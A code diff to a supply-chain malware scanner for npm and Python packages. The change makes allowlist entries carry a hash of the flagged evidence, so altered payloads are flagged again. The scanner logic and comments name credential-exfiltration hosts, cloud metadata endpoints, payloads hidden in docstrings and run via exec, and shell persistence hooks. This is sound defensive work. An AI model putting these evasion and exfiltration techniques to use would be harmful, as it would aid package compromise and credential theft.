package = pkg.display,
filename = rel,
pattern = "known-ioc-string",
evidence = needle,
evidence = _ioc_evidence(text, needle),
detail = f"{why}: {needle!r}",
)
)
# Cred surfaces, tier 1: hosts with no legit use; bare substring.
# Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context
# (path/headers/body) when present so a changed exfil payload on the same call
# reopens; falls back to the bare host when it is not in an outbound call.
for needle, why in CRED_HOST_ALWAYS_BAD:
if needle in text:
findings.append(
@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "cred-surface-host (always-bad)",
evidence = needle,
evidence = _outbound_host_evidence(text, needle),
detail = (
f"references {why} ({needle!r}); no legitimate "
"frontend use of this surface"
@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "cred-surface-host (outbound)",
evidence = needle,
evidence = _outbound_host_evidence(text, needle),
detail = (
f"references {why} ({needle!r}) in an outbound "
"call / URL / host config; a defensive blocklist "
@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
package = pkg.display,
filename = rel,
pattern = "known-ioc-string",
evidence = needle,
evidence = _ioc_evidence(text, needle),
detail = f"{why}: {needle!r}",
)
)
@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
_DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
# Bumped when the entry-key semantics change. v2 keys on the package-relative
# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
# in a different directory. A pre-v2 baseline with entries is ignored (fail
# closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 2
# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new
# payload under an already-listed package/path/pattern is not auto-suppressed; v2
# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline
# with entries is ignored (fail closed) rather than mis-applied.
_BASELINE_SCHEMA_VERSION = 3
def _norm_pkg_name(display: str) -> str:
@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:
return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
def _finding_key(f: Finding) -> tuple[str, str, str]:
"""Stable allowlist key: normalized package, package-relative path, pattern."""
return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
def _evidence_hash(evidence: str) -> str:
"""Stable digest of the matched evidence. The npm snippet carries no line
markers, so it is already version-stable; whitespace outside string literals is
collapsed (reindent-stable) while whitespace inside literals is preserved, so a
changed payload body reopens but a formatter reindent does not."""
canon = _canon_preserve_strings(evidence or "")
return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
def _load_baseline(path: str) -> set[tuple[str, str, str]]:
def _finding_key(f: Finding) -> tuple[str, str, str, str]:
"""Allowlist key: normalized package, package-relative path, pattern, and a
hash of the matched evidence -- so changed flagged code under an already-listed
package/path/pattern reopens instead of riding the reviewed entry."""
return (
_norm_pkg_name(f.package),
_relpath_in_package(f.filename),
f.pattern,
_evidence_hash(f.evidence or f.detail),
)
def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
"""Load an allowlist JSON into a set of match keys. Missing file -> empty."""
try:
with open(path, "r", encoding = "utf-8") as fh:
@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
except (OSError, json.JSONDecodeError) as exc:
print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
return set()
if not isinstance(data, dict):
print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr)
return set()
entries = data.get("entries", [])
if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
if not isinstance(entries, list):
print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr)
return set()
# v2 shares v3's package-relative keying, so its entries migrate by recomputing
# the evidence hash from their stored evidence; only pre-v2 (basename) is rejected.
if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2):
print(
f" [WARN] baseline schema v{data.get('version')} predates package-relative "
f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.",
file = sys.stderr,
)
return set()
keys: set[tuple[str, str, str]] = set()
keys: set[tuple[str, str, str, str]] = set()
legacy = 0
for e in entries:
if not isinstance(e, dict):
continue
try:
keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"]))
evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "")
if not e.get("evidence_hash"):
legacy += 1
keys.add(
(
_norm_pkg_name(e["package"]),
_relpath_in_package(e["file"]),
e["pattern"],
evidence_hash,
)
)
except (KeyError, TypeError):
continue
if legacy:
print(
f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may "
f"not suppress until regenerated with --write-baseline (findings reopen "
f"rather than risk hiding changed code under a coarse key)",
file = sys.stderr,
)
return keys
def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int:
"""Persist at-or-above-threshold findings as an allowlist for triage."""
entries = []
seen: set[tuple[str, str, str]] = set()
seen: set[tuple[str, str, str, str]] = set()
for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)):
if _SEVERITY_RANK[f.severity] > threshold_rank:
continue
@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
if key in seen:
continue
seen.add(key)
evidence = f.evidence or f.detail
entries.append(
{
"package": _norm_pkg_name(f.package),
"file": _relpath_in_package(f.filename),
"pattern": f.pattern,
"severity": f.severity,
"evidence": (f.evidence or f.detail)[:240],
"evidence": evidence,
"evidence_hash": _evidence_hash(evidence),
}
)
doc = {
"_comment": (
"scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL "
"finding manually judged benign. Matched on (package, "
"package-relative path, pattern); evidence/severity are for review "
"only. Regenerate with --write-baseline AFTER reviewing every line."
"package-relative path, pattern, evidence hash); a new payload under "
"an already-listed package/path/pattern reopens. severity is for "
"review only. Regenerate with --write-baseline AFTER reviewing every line."
),
"version": _BASELINE_SCHEMA_VERSION,
"entries": entries,
@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) ->
def _partition_baseline(
findings: list[Finding], baseline: set[tuple[str, str, str]]
findings: list[Finding], baseline: set[tuple[str, str, str, str]]
) -> tuple[list[Finding], list[Finding]]:
"""Split findings into (active, suppressed) by allowlist membership."""
if not baseline:

4
scripts/scan_npm_packages_baseline.json
View file

@ -1,5 +1,5 @@
{
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 2,
"_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.",
"version": 3,
"entries": []
}

594
scripts/scan_packages.py
View file

@ -43,9 +43,10 @@ False positives:
examples and `>>>` doctests cannot trip a finding. Residual findings that
are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored
test fixture) are suppressed via a reviewed baseline allowlist, matched on
(package, basename(file), check). A NEW kind of finding in an already-listed
file is a different check and still fails. This mirrors the Hugging Face Hub
approach (ClamAV/picklescan: low-FP, signature/structural, surface status).
(package, package-relative file, check, evidence hash). A new check, or
changed flagged code under the same check, reopens the finding; version
bumps and line shifts do not. This mirrors the Hugging Face Hub approach
(ClamAV/picklescan: low-FP, signature/structural, surface status).
Exit codes:
0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline)
@ -55,6 +56,8 @@ Exit codes:
import argparse
import atexit
import bisect
import hashlib
import io
import json
import os
@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile(
re.DOTALL,
)
# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence.
RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL)
# Cloud metadata / IMDS endpoints
RE_CLOUD_METADATA = re.compile(
r"169\.254\.169\.254" # AWS/Azure/GCP IMDS
@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
# Large base64 blob
if RE_LARGE_BLOB.search(content):
blob = RE_LARGE_BLOB.search(content).group()
# Digest every blob (not just the first 120 chars, and not just the
# first blob), so a later payload that keeps the prefix or appends a
# second encoded blob reopens.
blob, digest = _blob_digest(content)
findings.append(
Finding(
CRITICAL,
package,
filename,
f".pth has large base64-like blob ({len(blob)} chars)",
blob[:120] + "...",
f"{blob[:120]}... sha256:{digest}",
)
)
# Catch-all: any import line in .pth if nothing else triggered
# Catch-all: any import line in .pth if nothing else triggered. Bind every
# line through a digest so an appended/swapped import reopens the key, but cap
# the displayed text so a large .pth of benign-looking imports cannot dump up
# to the archive member cap into the logs or baseline JSON.
if not findings and import_lines:
evidence = "\n".join(import_lines[:5])
if len(import_lines) > 5:
evidence += f"\n... ({len(import_lines)} import lines total)"
evidence = _cap_line("\n".join(import_lines))
findings.append(
Finding(
HIGH,
@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]:
# Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes)
size = len(content)
if size > 500 and import_lines:
# Pin the content so a different payload of the same size/import count reopens.
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
findings.append(
Finding(
HIGH,
package,
filename,
f"Unusually large executable .pth ({size} bytes)",
f"{len(import_lines)} import line(s) in {size}-byte .pth file",
f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}",
)
)
@ -629,6 +641,13 @@ def _hidden_payload_findings(
removed = "".join(o if o != s else " " for o, s in zip(original, code))
out = []
# The visible exec/eval line is what makes the hidden string executable, so
# bind it into every finding's evidence: otherwise a reviewed false positive
# that keeps the same hidden text but flips a harmless `eval("1+1")` to
# `exec(__doc__)` (now running the payload) keeps the same key and stays
# suppressed. Taken from `stripped` (real code), where the exec/eval lives.
trigger = _extract_evidence(stripped, RE_EXEC_EVAL)
def _hidden(pat):
# Carrier present in a blanked region but NOT in real code. A carrier in
# real code is already caught by the normal check, so restricting to
@ -643,7 +662,7 @@ def _hidden_payload_findings(
package,
filename,
"exec/eval with payload hidden in a docstring/string",
f"{label}: {_extract_evidence(removed, pat)}",
f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",
)
)
# Fetch-then-run dropper: a network call AND an os/subprocess exec that both
@ -657,7 +676,9 @@ def _hidden_payload_findings(
package,
filename,
"exec/eval with hidden network+exec payload",
f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}",
f"exec: {trigger}\n"
f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | "
f"{_extract_evidence(removed, RE_SUBPROCESS)}",
)
)
return out
@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
# openssl encryption + network/key material (encrypted exfiltration)
if has_openssl_cli and (has_network or has_keys):
# Bind whichever side(s) co-occur so a changed endpoint or key reopens.
evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_keys:
evidence.append(f"Key: {_embedded_key_evidence(content)}")
findings.append(
Finding(
CRITICAL,
package,
filename,
"openssl encryption + network/key material (encrypted exfiltration)",
f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
"\n".join(evidence),
)
)
@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
# Obfuscated payload: base64 + exec/eval + large blob
if has_base64 and has_exec_eval and has_blob:
# Digest every blob too: a payload may sit on a separate line from the
# decode call, and a second encoded blob may be appended later, so
# binding only the base64/exec lines or the first blob would miss it.
_, blob_digest = _blob_digest(content)
findings.append(
Finding(
HIGH,
@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
filename,
"base64 decode + exec/eval + large encoded blob",
f"Base64: {_extract_evidence(content, RE_BASE64)}\n"
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}",
f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n"
f"Blob: sha256:{blob_digest}",
)
)
@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Embedded cryptographic key + network calls (encrypted exfil pattern)",
f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n"
f"Key: {_embedded_key_evidence(content)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
# Anti-analysis + any other suspicious pattern
if has_anti and (has_network or has_subprocess or has_exec_eval):
# Bind the suspicious side too so a changed payload reopens.
evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_subprocess:
evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}")
if has_exec_eval:
evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}")
findings.append(
Finding(
HIGH,
package,
filename,
"Anti-analysis/sandbox evasion + suspicious behavior",
f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}",
"\n".join(evidence),
)
)
# DNS exfiltration with dynamic hostnames
if has_dns_exfil and (has_base64 or has_network or has_creds):
# Bind the co-occurring side so a changed exfil channel reopens.
evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"]
if has_base64:
evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}")
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if has_creds:
evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}")
findings.append(
Finding(
HIGH,
package,
filename,
"DNS exfiltration / tunneling patterns",
_extract_evidence(content, RE_DNS_EXFIL),
"\n".join(evidence),
)
)
@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Embedded cryptographic key material",
_extract_evidence(content, RE_EMBEDDED_KEYS),
_embedded_key_evidence(content),
)
)
@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
return findings
_MAX_MULTILINE_LINES = 12
# How far a single matched call is followed over its bracket continuations. A call
# that genuinely closes is bound all the way to its real close, up to the hard
# limit, so a ``requests.post(`` with many option/header lines before ``data=``
# binds its whole argument list in the digest and a changed payload on a late
# continuation line reopens (a 40-line soft cap would hash only the first 40 lines
# and let a later ``data=``/headers change ride the baseline key). A bracket that
# never closes within the hard limit is a miscount (a multi-line string the
# single-line blanker cannot mask) or a stray opener, so it is bound only to the
# soft cap and cannot swallow unrelated code.
_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed
_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it
# Cap a single rendered line. A short line is shown verbatim; a long (e.g.
# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full
# line, so a packed payload cannot dump unbounded content into the evidence and
# baseline while a change past the cutoff still changes the digest and reopens the
# finding. The npm scanner bounds its snippets the same way.
_MAX_LINE_CHARS = 200
# Cap on recorded spans in one evidence string; beyond it the remaining spans are
# folded into a digest so a file with thousands of matching lines cannot build a
# multi-megabyte evidence blob, while an added/removed span past the cap still
# changes the key. Comfortably above the largest real baseline entry.
_MAX_EVIDENCE_SPANS = 96
def _cap_line(code: str) -> str:
"""Bound a single line's displayed code: return it verbatim when short, else a
``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still
pinned (fail-closed) without recording the entire line."""
if len(code) <= _MAX_LINE_CHARS:
return code
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}"
_PY_TRIPLE = ("'''", '"""')
def _ends_with_odd_backslash(s: str) -> bool:
"""True if ``s`` ends with an odd run of backslashes, i.e. a trailing
backslash that escapes the newline (a string/line continuation) rather than a
literal ``\\\\`` pair."""
return (len(s) - len(s.rstrip("\\"))) % 2 == 1
# Single-line quoted string literal; blanks complete one-line strings (the legacy
# view) so the single-line and multi-line blanked spans can be unioned below.
_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")
def _blank_code_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single- and triple-quoted, escapes honoured) with
spaces across ``lines``, keeping the line count and every bracket OUTSIDE a
string intact. Bracket counting then never miscounts a ``)`` that lives inside
a string -- including a triple-quoted string spanning several lines, which a
per-line regex cannot blank."""
out: list[str] = []
in_triple: str | None = None # active ''' or \"\"\" delimiter, or None
in_string: str | None = None # active ' or " continued via a trailing backslash
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
while i < n:
if in_triple is not None:
end = line.find(in_triple, i)
if end == -1:
buf.append(" " * (n - i))
i = n
else:
buf.append(" " * (end - i + 3))
i = end + 3
in_triple = None
continue
if in_string is not None:
# A single-/double-quoted string continued onto this line by a
# backslash-escaped newline. Resume blanking until its closing quote;
# if this line also ends on an odd trailing backslash the string
# continues again, otherwise it closes (or is unterminated) here. A
# per-line regex blanker cannot see this, so a `)` on the
# continuation line would otherwise be counted as code and close the
# call early -- dropping the URL/body lines that follow.
j, closed = i, False
while j < n:
if line[j] == "\\":
j += 2
continue
if line[j] == in_string:
j += 1
closed = True
break
j += 1
buf.append(" " * (min(j, n) - i))
if closed:
in_string = None
i = j
else:
i = n
if not _ends_with_odd_backslash(line):
in_string = None # unterminated without continuation; stop
continue
ch = line[i]
if ch in "'\"":
if line[i : i + 3] in _PY_TRIPLE:
delim = line[i : i + 3]
end = line.find(delim, i + 3)
if end == -1: # opens a triple string that runs past this line
buf.append(" " * (n - i))
in_triple = delim
i = n
else:
buf.append(" " * (end - i + 3))
i = end + 3
continue
j = i + 1 # single-line string; skip to its closing quote
closed = False
while j < n:
if line[j] == "\\":
j += 2
continue
if line[j] == ch:
j += 1
closed = True
break
j += 1
buf.append(" " * (min(j, n) - i))
if closed:
i = j
else:
# Ran off the line without closing: an odd trailing backslash
# escapes the newline and continues the string onto the next
# line, so remember the quote; otherwise it is just unterminated.
i = n
if _ends_with_odd_backslash(line):
in_string = ch
continue
buf.append(ch)
i += 1
out.append("".join(buf))
return out
_RE_BRACKETS = re.compile(r"[()\[\]{}]")
_OPENERS = frozenset("([{")
def _bracket_lr(line: str) -> tuple[int, int]:
"""Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
where ``L`` is the count of closers with no opener earlier on the line (they
need an opener to the LEFT / a prior line) and ``R`` is the count of openers
with no closer later on the line (they need a closer to the RIGHT / a later
line). A plain net count (opens minus closes) collapses order and so masks a
trailing opener that follows leading closers on the same line, e.g.
``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged
call; tracking the running minimum keeps that opener visible so the call's
argument lines still bind. Only bracket characters are walked (pulled out with
one C-level regex pass) so a long minified line stays cheap."""
depth = 0
low = 0
for ch in _RE_BRACKETS.findall(line):
if ch in _OPENERS:
depth += 1
else:
depth -= 1
if depth < low:
low = depth
return -low, depth - low
def _scan_line_end(view: list[str], start: int) -> int:
"""1-based line where the statement at ``start`` closes its brackets in
``view`` (one blanked view of the file). A call that closes is followed to its
real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a
bracket that never closes within that hard limit (a stray/miscounted opener) is
bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file.
Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0)
so a closer that precedes the opener on the same line does not cancel it."""
depth = 0
hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1)
for j in range(start, hard + 1):
ln = view[j - 1]
left, right = _bracket_lr(ln)
depth = max(0, depth - left) + right
if ln.rstrip().endswith("\\"):
continue # explicit backslash continuation: the call (e.g. its `(` and
# URL/body) is on the next physical line, so do not close here
if depth <= 0:
return j
# Never closed within the hard limit: bind only the soft cap so a stray opener
# cannot bind a giant unrelated span.
return min(len(view), start + _MAX_CALL_LINES - 1)
def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int:
"""1-based line where the statement opened at ``start`` closes, so a multi-line
call binds its argument lines (a changed URL/body on a continuation line
reopens, not just the API line). Returns the LARGER of the spans found in the
single-line-blanked view (legacy: a payload embedded inside a string still
counts, so its brackets bind the call) and the multi-line-blanked view (a
bracket inside a triple-quoted string argument no longer closes the call
early). Taking the union never shrinks the bound span below either view, so
neither blanking strategy can drop a continuation line a malicious change
relies on."""
return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start))
def _extract_evidence(
content: str,
pattern: re.Pattern,
max_matches: int = 3,
max_matches: int = 0,
) -> str:
"""Pull matching lines as evidence snippets.
"""Pull matching lines as evidence snippets (``max_matches=0`` means all).
Falls back to a whole-content search when the pattern only matches across
line boundaries (several IOC regexes use ``re.DOTALL``). Without this an
anti-analysis / archive-staging finding could report empty evidence, making
the baseline entry impossible to review.
Records every matching line in full, not a truncated sample, so an extra
match (or extra code on a long line) appended to an already-flagged file
changes the evidence and the baseline key instead of riding the first few.
Leading whitespace is kept so a flagged line moved out of a guarded block
reads as changed. Each single-line match is extended over bracket
continuations so a multi-line call binds its argument lines too. Cross-line
matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line
construct appended under a check that already had a one-line match) are
recorded afterwards, so an added multiline payload reopens the finding. A
pathological greedy span is bounded to its head line plus a digest of the
rest.
"""
lines = content.splitlines()
matches = []
sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines]
ml_blanked = _blank_code_strings(lines)
out = []
seen: set[tuple[int, int]] = set()
# Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS
# rendered spans, every further span is folded straight into a running digest
# instead of being materialized and sliced off at the end. On a minified or
# padded file with hundreds of thousands of matching lines that keeps memory
# and work bounded to the display cap rather than the match count, while the
# digest still covers every overflow span so an over-cap payload change
# reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly
# (strip each span to its non-empty L<NN>-less code lines, join with "\n"), so
# the digest is identical to buffering the whole list and canonicalizing once.
overflow_count = 0
overflow_hash = hashlib.sha256()
overflow_started = False
def _emit(rendered: str) -> None:
nonlocal overflow_count, overflow_started
if len(out) < _MAX_EVIDENCE_SPANS:
out.append(rendered)
return
overflow_count += 1
for piece in _RE_EVIDENCE_SPLIT.split(rendered):
piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip()
if not piece:
continue
if overflow_started:
overflow_hash.update(b"\n")
overflow_hash.update(piece.encode("utf-8", "replace"))
overflow_started = True
def _render(start: int, end: int) -> str:
span = lines[start - 1 : end] or ["<multiline match>"]
if len(span) > _MAX_MULTILINE_LINES:
# Digest the code without the L<NN>: markers so a pure line shift of
# the same span stays stable while a code change still reopens. The
# head is truncated for display only; the span digest already binds
# its full content, so no per-line digest is needed here.
code = "\n".join(ln.rstrip() for ln in span)
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
head = span[0].rstrip()
if len(head) > _MAX_LINE_CHARS:
head = head[:_MAX_LINE_CHARS] + "..."
return f"L{start}: {head} sha256:{digest}"
return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span))
for i, line in enumerate(lines, 1):
if pattern.search(line):
snippet = line.strip()
if len(snippet) > 160:
snippet = snippet[:160] + "..."
matches.append(f"L{i}: {snippet}")
if len(matches) >= max_matches:
break
if matches:
return " | ".join(matches)
# Multiline (DOTALL) match: report the line where the match begins.
m = pattern.search(content)
if m:
line_no = content.count("\n", 0, m.start()) + 1
snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else ""
if len(snippet) > 160:
snippet = snippet[:160] + "..."
return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: <multiline match>"
return ""
span = (i, _logical_line_end(sl_blanked, ml_blanked, i))
if span in seen:
continue
# Only track spans while still filling the display list: past the cap
# every span is folded into the overflow digest, so growing `seen` with
# all of them would keep memory proportional to the match count (the
# behavior this cap exists to bound) on a generated file with millions
# of one-line matches. The per-line spans are unique by line number, so
# dropping them from `seen` past the cap cannot cause a missed dedup
# here; at worst the fallback re-folds an over-cap span into the same
# digest, which stays deterministic and still reopens on a change.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add(span)
_emit(_render(*span))
if max_matches and len(out) >= max_matches:
return " | ".join(out)
# Precompute newline offsets once so mapping a match offset to its 1-based line
# is O(log n) (bisect) rather than O(n) (content.count) per match; the latter
# made this fallback quadratic on a minified file with thousands of matches.
nl = [p for p, ch in enumerate(content) if ch == "\n"]
for m in pattern.finditer(content):
start = bisect.bisect_left(nl, m.start()) + 1
end = bisect.bisect_left(nl, m.end()) + 1
if end <= start or (start, end) in seen:
continue # single-line matches are already covered by the pass above
# A giant greedy DOTALL span is bound by the full digest of its content
# (via _render, which renders a >12-line span as a head line plus a sha256
# of the whole span). Binding only the anchors leaves the bridged interior
# unhashed, so an attacker could insert a new cross-line payload (a `/tmp`
# line and a later `subprocess` line, sharing no single line so the
# per-line pass never binds them) between unchanged outer anchors and keep
# the same key. Digesting the interior reopens on any such change; a pure
# line shift stays stable because the digest is over the markerless code.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add((start, end))
_emit(_render(start, end))
if max_matches and len(out) >= max_matches:
break
if overflow_count:
# The overflow digest was accumulated from the canonicalized (L<NN>:-less)
# spans as they were emitted, so a pure line shift above the overflow
# region does not change it and reopen an otherwise-unchanged finding,
# matching the per-span key's line-shift stability.
out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(out)
def _embedded_key_evidence(content: str) -> str:
"""Key evidence that also pins the full PEM block(s) via a digest, so a key
body swapped under the same BEGIN marker reopens the finding (single-line and
DER keys are already bound by their full matched line)."""
ev = _extract_evidence(content, RE_EMBEDDED_KEYS)
blocks = RE_PEM_BLOCK.findall(content)
if blocks:
digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest()
ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}"
return ev
def _blob_digest(content: str) -> tuple[str, str]:
"""First large blob (for display) plus a digest binding EVERY large blob, so
an appended or swapped encoded payload reopens the finding rather than riding
an unchanged first blob. Assumes at least one blob is present (single-blob
files keep the prior single-blob digest, so the baseline does not drift)."""
blobs = RE_LARGE_BLOB.findall(content)
digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest()
return blobs[0], digest
# Non-Python checkers
@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"JS embeds credential regexes AND makes network calls (stealer)",
_extract_evidence(content, RE_TOKEN_REGEX),
f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n"
f"Network: {_extract_evidence(content, RE_NETWORK)}",
)
)
if has_workflow_inj:
@ -1202,17 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
_extract_evidence(content, RE_WORKFLOW_INJECT),
)
)
if is_large and not findings:
findings.append(
Finding(
HIGH,
package,
filename,
f"Python wheel ships large ({len(content) // 1024} KB) JS bundle "
"(uncommon; manually review)",
"",
# Pin the whole file's content digest to EVERY JS finding (not just large
# bundles). _extract_evidence blanks only Python string forms before counting
# brackets, so a JS backtick template literal that contains `)` can close a
# call's span early and omit the option/body lines that follow; binding the
# full content means a change to those omitted lines still reopens instead of
# riding the matched-line evidence. A large bundle with no other heuristic is a
# standalone HIGH.
if findings or is_large:
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
if findings:
for f in findings:
f.evidence = f"{f.evidence} bundle-sha256:{digest}"
else:
findings.append(
Finding(
HIGH,
package,
filename,
# Size stays out of the check label (from main) so the baseline
# key does not drift when a benign bundle grows; the full-content
# digest below still binds the bytes so a payload swap reopens.
"Python wheel ships large JS bundle (uncommon; manually review)",
f"sha256: {digest}",
)
)
)
return findings
@ -1232,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
if RE_DEV_TOOL_HIJACK.search(content) and (
RE_NETWORK.search(content) or RE_SUBPROCESS.search(content)
):
# Bind the hook AND the network/exec signal so a changed exfil reopens.
evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"]
if RE_NETWORK.search(content):
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
if RE_SUBPROCESS.search(content):
evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}")
findings.append(
Finding(
CRITICAL,
@ -1239,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
filename,
"Shell installs developer-tool persistence hook (.bashrc / "
"profile.d / vscode tasks) AND has network or exec",
_extract_evidence(content, RE_DEV_TOOL_HIJACK),
"\n".join(evidence),
)
)
if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content):
